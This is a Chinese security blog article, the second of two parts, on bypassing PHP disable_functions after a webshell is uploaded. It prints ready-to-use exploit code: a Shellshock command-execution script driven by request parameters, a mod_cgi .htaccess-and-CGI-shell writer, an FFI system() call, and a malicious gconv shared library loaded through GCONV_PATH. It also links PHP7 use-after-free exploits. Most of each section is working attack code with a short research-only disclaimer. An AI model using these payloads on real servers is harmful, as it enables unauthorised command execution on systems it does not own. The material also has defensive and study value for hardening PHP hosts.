FSRC教你绕过disable_functions(下)

百家 作者:焦点安全应急响应中心 2022-07-29 21:23:11
01
前言

FSRC经验分享”系列文章,旨在分享焦点安全工作过程中的经验和成果,包括但不限于漏洞分析、运营技巧、SDL推行、等保合规、自研工具等。

欢迎各位安全从业者持续关注!


7511字   阅读时间约18分钟


02
disable_functions介绍

为了安全,运维人员会禁用PHP的一些“危险”函数,将其写在php.ini配置文件中,就是我们所说的disable_functions了。例如:

passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,link

如果在渗透时,上传了webshell却因为disable_functions禁用了一些函数,导致无法命令执行,这时候就需要去进行绕过。


本文整理了互联网上相关的案例及分享,加上了自己复现时的一些经验总结。因篇幅较长,分为上下两部。本文为下部,介绍更多特定的绕过姿势。包括 利用shellshock、利用PHP垃圾收集器堆溢出、利用apache Mod CGI等方法。


上部为介绍常规的绕过及利用LD_PRELOAD变量绕过的方法,点此跳转



03
PHP7利用UAF漏洞

漏洞利用相关工具:https://github.com/mm0r1/exploits



PHP7-GC-UAF


漏洞原理


此漏洞通过PHP垃圾收集器中堆溢出来绕过 disable_functions 并执行系统命令


利用条件


  • Linux系统

  • PHP 7.0-7.3

利用过程


在获取shell之后,在网站目录上传exploit.php文件。

修改命令即可,直接访问文件可以获取执行结果。



PHP7-Backtrace-UAF


漏洞原理


Backtrace UAF漏洞利用在debug_backtrace()函数中,我们可以诱使它返回对已被破坏的变量的引用,从而导致释放后使用漏洞。

利用条件


  • Linux 操作系统

  • PHP版本:7.0 - all versions to date 7.1 - all versions to date 7.2 - all versions to date 7.3 < 7.3.15 (released 20 Feb 2020) 7.4 < 7.4.3 (released 20 Feb 2020)



Json Serializer UAF


漏洞原理


Json Serializer UAF漏洞利用利用json序列化程序中的堆溢出触发,以绕过disable_functions和执行系统命令。尽管不能保证成功,但它应该相当可靠的在所有服务器 api上使用。

利用条件


  • 7.1 - all versions to date

  • 7.2 < 7.2.19 (released: 30 May 2019)

  • 7.3 < 7.3.6 (released: 30 May 2019)



04
利用 ShellShock(CVE-2014-6271)


原理简述


该方法利用bash中的一个老漏洞,即Bash Shellshock 破壳漏洞(CVE-2014-6271)。该漏洞的原因是Bash使用的环境变量是通过函数名称来调用的,导致该漏洞出现是以(){开头定义的环境变量在命令 ENV 中解析成函数后,Bash执行并未退出,而是继续解析并执行shell命令。而其核心的原因在于在输入的过滤中没有严格限制边界,也没有做出合法化的参数判断。一般函数体内的代码不会被执行,但破壳漏洞会错误的将"{}"花括号外的命令进行执行。PHP里的某些函数(例如:mail()、imap_mail())能调用popen或其他能够派生bash子进程的函数,可以通过这些函数来触发破壳漏洞(CVE-2014-6271)执行命令。



适用条件


  • Linux 操作系统

  • 版本为PHP 5.*

  • 目标系统的/bin/bash存在CVE-2014-6271漏洞

  • putenv()mail()error_log()函数可用

  • /bin/sh -> /bin/bash sh 默认的 shell 是 bash



利用方法



【AntSword 虚拟终端中已经集成了对 ShellShock 的利用, 直接在虚拟终端执行命令即可】

下面是手动利用:

在网站根目录上传以下利用脚本:

<?phpfunction shellshock($cmd) {   $tmp = tempnam(".","data");   putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");   error_log('a',1);   $output = @file_get_contents($tmp);   @unlink($tmp);if($output != "") return $output;else return "No output, or not vuln.";}echo shellshock($_REQUEST["cmd"]);?>

直接访问即可执行命令。



05
利用 Apache Mod CGI


原理简述


早期的Web服务器,只能响应浏览器发来的HTTP静态资源的请求,并将存储在服务器中的静态资源返回给浏览器。随着Web技术的发展,逐渐出现了动态技术,但是Web服务器并不能够直接运行动态脚本,为了解决Web服务器与外部应用程序(CGI程序)之间数据互通,于是出现了CGI(Common Gateway Interface)通用网关接口。简单理解,可以认为CGI是Web服务器和运行在其上的应用程序进行“交流”的一种约定。

当遇到动态脚本请求时,Web服务器主进程就会Fork创建出一个新的进程来启动CGI程序,运行外部C程序或Perl、PHP脚本等,也就是将动态脚本交给CGI程序来处理。启动CGI程序需要一个过程,如读取配置文件、加载扩展等。当CGI程序启动后会去解析动态脚本,然后将结果返回给Web服务器,最后由Web服务器将结果返回给客户端,之前Fork出来的进程也随之关闭。这样,每次用户请求动态脚本,Web服务器都要重新Fork创建一个新进程去启动CGI程序,由CGI程序来处理动态脚本,处理完成后进程随之关闭,其效率是非常低下的。

而对于Mod CGI,Web服务器可以内置Perl解释器或PHP解释器。也就是说将这些解释器做成模块的方式,Web服务器会在启动的时候就启动这些解释器。当有新的动态请求进来时,Web服务器就是自己解析这些动态脚本,省得重新Fork一个进程,效率提高了。

任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本,一种是文件具有已由AddType指令定义的扩展名,另一种是文件位于ScriptAlias目录中。


apache在配置开启CGI后可以用ScriptAlias指令指定一个目录,指定的目录下面便可以存放可执行的CGI程序。

若是想临时允许一个目录可以执行CGI程序并且使得服务器将自定义的后缀解析为CGI程序执行,则可以在目的目录下使用htaccess文件进行配置,如下:

Options +ExecCGIAddHandler cgi-script .xxx

这样便会将当前目录下的所有的.xxx文件当作CGI程序执行了。

由于CGI程序可以执行命令,那我们可以利用CGI来执行系统命令绕过disable_functions。



适用条件


  • Linux 操作系统

  • Apache + PHP (apache 使用 apache_mod_php)

  • Apache 开启了 cgirewrite

  • Web 目录给了 AllowOverride 权限(AllowOverride选项用于定义位于每个目录下.htaccess(访问控制)文件中的指令类型。

  • 当前目录可写



利用方法


蚁剑有插件可以直接利用。

手动方法有两种,其实都是一样的,只是顺序与利用脚本不一样。

方法一


cmd修改为需要执行的命令,上传php文件到网站目录,访问php文件后后会自动创建出现.htaccess文件和shell.dizzle文件。

<?php$cmd = "tac /flag"; //command to be executed$shellfile = "#!/bin/bash\\n"; //using a shellscript$shellfile .= "echo -ne \\"Content-Type: text/html\\\\n\\\\n\\"\\n"; //header is needed, otherwise a 500 error is thrown when there is output$shellfile .= "$cmd"; //executing $cmdfunction checkEnabled($text,$condition,$yes,$no) //this surely can be shorter{echo "$text: " . ($condition ? $yes : $no) . "<br>\\n";}if (!isset($_GET['checked'])){    @file_put_contents('.htaccess', "\\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed    header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked}else{    $modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?    $writable = is_writable('.'); //current dir writable?    $htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?        checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");        checkEnabled("Is writable",$writable,"Yes","No");        checkEnabled("htaccess working",$htaccess,"Yes","No");if(!($modcgi && $writable && $htaccess))    {echo "Error. All of the above must be true for the script to work!"; //abort if not    }else    {        checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.        checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension        checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file        checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwxecho "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script    }}


生成的两个文件内容如下:

  • .htaccess文件 (dizzle后缀可以随意修改,注意和shell文件后缀一致就行

Options +ExecCGIAddHandler cgi-script .dizzl
  • shell.dizzle文件

#!/bin/bashecho -ne "Content-Type: text/html\\n\\n"tac /flag

访问shell文件即可 (这里命令用的id这里命令用的id)

方法二



拿到shell之后,分别上传.htaccess和shell文件拿到shell之后,分别上传.htaccess和shell文件(内容同上)

之后在shell里执行php的chomd()函数赋予shell文件可执行权限

<http://x.x.x.x/shell.php?cmd=chmod('shell.dizzle',0777)>;

之后访问shell文件即可执行命令。


06
利用PHP FFI


原理简述


FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP 的 FFI 扩展就是一个让你在 PHP 里调用 C 代码的技术。FFI的使用只需声明和调用两步。



适用条件


  • Linux 操作系统

  • PHP >= 7.4

  • 开启了 FFI 扩展且 ffi.enable=true

[ffi]; FFI API restriction. Possible values:; "preload" - enabled in CLI scripts and preloaded files (default); "false"   - always disabled; "true"    - always enabledffi.enable=true
; List of headers files to preload, wildcard patterns allowed.;ffi.preload=



利用方法


通常使用 FFI::cdef 创建一个新的 FFI 对象。

注意:system函数无回显,所以输出结果到文件里然后包含文件获取结果。最后的unlink删除文件。

<?php$ffi = FFI::cdef("int system(const char *command);");$ffi->system("whoami > /tmp/123");echo file_get_contents("/tmp/123");@unlink("/tmp/123");?>

上传exp到网站目录,直接访问即可获得命令结果。


07
PHP-FPM/FastCGI


原理简述


FastCGI 是用于将交互式程序与 Web 服务器接口的二进制协议。FastCGI 是早期的通用网关接口(CGI)的变体。FastCGI 的主要目的是减少与Web服务器和 CGI 程序接口相关的开销,从而使服务器可以一次处理更多的网页请求。

PHP-FPM( FastCGI 进程管理器)是另一种 PHP FastCGI 实现,具有一些其他功能,可用于各种规模的站点,尤其是繁忙的站点。PHP-FPM 也是用于调度管理 PHP 解析器php-cgi 的管理程序,php-cgi 作为 PHP 自带的解释器,只是个 CGI 程序,除了解析请求返回结果之外,并不能管理进程,也就无法做到修改 php.ini 配置文件后平滑重启

即 FastCGI 是 CGI 协议的升级版,用于封装 webserver 发送给 php 解释器的数据,通过 PHP-FPM 程序按照 FastCGI 协议进行处理和解析数据,返回结果给 webserver。

PHP5.3 版本之后,PHP-FPM 是内置于 PHP 的,一般来说,尤其是在高并发的情况下,nginx + PHP-FPM 的组合要比 apache + mod_php 好很多,那么伪造请求发送给 PHP-FPM 就可以任意代码执行。



适用条件


  • Linux 操作系统

  • PHP-FPM

  • 存在可写的目录, 需要上传 .so 文件



利用方法


蚁剑插件可以直接使用:



选择写入的地址是网站根目录,成功之后会在目录下生成可执行命令的shell文件,重新连接即可:



08
利用iconv


原理简述


iconv是一个计算机程序以及一套应用程序编程接口的名称。作为应用程序的iconv采用命令行界面,允许将某种特定编码的文件转换为另一种编码。



适用条件


  • Linux 操作系统

  • php 安装了iconv 相关模块

  • 存在可写的目录, 需要上传 .so 文件

  • putenv



利用方法


上传gconv-modules文件到/tmp目录下

【hack是自定义的字符集,注意前面是大写,后面是小写】

module  HACK//    INTERNAL    ../../../../../../../../tmp/hack    2module  INTERNAL    HACK//    ../../../../../../../../tmp/hack    2

书写hack.c文件

#include <stdio.h>#include <stdlib.h>
void gconv() {}
void gconv_init() {system("id > /tmp/flag");}

编译成so文件并上传到/tmp目录下

gcc hack.c -o hack.so -shared -fPIC

在网站根目录上传php文件【iconv的第一个参数和上面的自定义字符集保持一致】

<?php  putenv("GCONV_PATH=/tmp");  iconv("hack", "UTF-8", "whatever");?>

直接访问上传的php文件,结果会输出在/tmp/flag



09
参考资料及免责声明

PHP 突破 disable_functions 常用姿势以及使用 Fuzz 挖掘含内部系统调用的函数(by J0k3r)

https://www.anquanke.com/post/id/197745#h3-2


【PHP绕过】LD_PRELOAD bypass disable_functions(by 丶4ut15m)

https://blog.csdn.net/xia739635297/article/details/104641082/


本文中提到的相关资源已在网络公布,仅供研究学习使用,请遵守《网络安全法》等相关法律法规。


本文编辑:小错





精彩推荐




几个小技巧,绕过SSRF的黑白名单

PHP反序列化漏洞

管好你的API——API的安全防护


焦点安全,因你而变
焦点科技漏洞提交网址:https://security.focuschina.com


关注公众号:拾黑(shiheibook)了解更多

[广告]赞助链接:

四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/

公众号 关注网络尖刀微信公众号
随时掌握互联网精彩
赞助链接